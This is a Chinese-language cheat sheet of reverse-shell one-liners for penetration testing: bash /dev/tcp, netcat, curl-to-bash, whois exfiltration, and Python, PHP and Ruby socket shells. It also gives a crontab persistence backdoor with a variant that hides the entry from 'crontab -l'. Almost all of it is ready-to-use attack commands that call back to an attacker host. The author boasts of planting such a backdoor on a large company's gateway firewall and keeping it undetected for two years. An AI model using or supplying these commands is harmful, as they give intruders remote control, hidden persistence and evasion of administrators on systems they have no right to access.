0x00 前言

平常渗透中经常需要反弹shell,于是solo一波。

0x01 bash反弹

/dev/[tcp|udp]/host/port是linux设备里面比较特殊的文件,读取或写入相当于建立socket调用
反弹:

1
bash -i > & /dev/tcp/10.10.10.10/1234 0>&1

0x02 nc反弹

lnc交互式反弹

1
2
3
nc 10.10.10.10 -t /bin/bash
或者:
/bin/sh | nc 10.10.10.10 1234

nc -e反弹(nc支持-e参数)
-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

1
nc -e /bin/bash 10.10.10.10 1234

如果nc不支持-e参数的话,可以利用到linux中的管道符

1
nc 10.10.10.10 1234 | /bin/bash | 127.0.0.1 12345

0x03 curl反弹

前提:index文件包含bash一句话

1
curl 10.10.10.10/index.html | bash

当然,不限于index文件,其他目录其他文件也可以的。
而且,只要文本包含一句话即可也就是说存在其他语句没有影响。

0x04 whois反弹

1
whois -h 10.10.10.10 -p 1234 `ifconfig`

0x05 python反弹

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

0x06 PHP反弹

1
php -r '$sock=fsockopen("10.10.10.10",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

0x07 ruby反弹shell

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Winodws版:

1
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.10","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x08 java反弹

直接用msf的:

1
use payload/java/shell/reverse_tcp

0x09 lua反弹

直接用msf的:

1
use payload/cmd/unix/reverse_lua

补充

一条命令实现无文件兼容性强的反弹后门。

1
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

就是一条SHELL脚本,通过crontab 自定义一条定时执行的任务。
<详解>
/dev/tcp/IP/port:通过调用/dev/tcp 类似发出了一个socket的调用,建立一个socket连接,读写这个/dev/tcp就相当于在这个socket连接中传输数据,后面跟上你控制端的IP和端口,当然也可以写上你的域名,这样你植入后门后,你接收SHELL的服务器IP发生改变,你同样能收到SHELL。
exec 9<>:9是linux 中的文件描述符,0代表从键盘输入,1代表标准输出的,2代表错误输出的,这个大家都知道吧,其实一共有10个,只是其它的默认没有打开。exec 9<> ,意思是以读写方式打开/dev/tcp,然后所有的数据都会保留在9这个文件描述符内,并通过tcp连接在两端传输。
exec 0<&9 :意思是将9里面的内容传送给输入端,作用是当我们在控制端输入命令的时候,命令就自动传到被控端并被输入执行.
exec 1>9& : 这个意思大家现在能明白了吧,就是被控端执行命令后的正确回显也输出到 9,这样我们在控制端就能接收到。
2>&1 :错误的输出也指向1,而前面1已经指向到了9,所以错误的消息也传向了9,这样我们就能在控制端收到正确和错误的回显了。
/bin/bash –noprofile -i :这个就是调用bash来执行我们输入的命令,后面跟的参数是禁止执行一些登录shell时调用的脚本。
前面的时间设定很简单,大家不明白的可以百度下,我曾经植入一条这样的后门到一个大型企业的网关防火墙上(linux内核),每个月只连出来一次,2年了人家都没发现,当然可能管理员比较懒。拿到网关shell当然各种代理就都不是事了。
当然管理员通过crontab -l 可以查看到任务,
不过你这样:

1
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

猥琐版直接显示你用户名下没有任务….
在未连接状态启动反连任务的时候,进程和端口都无状态。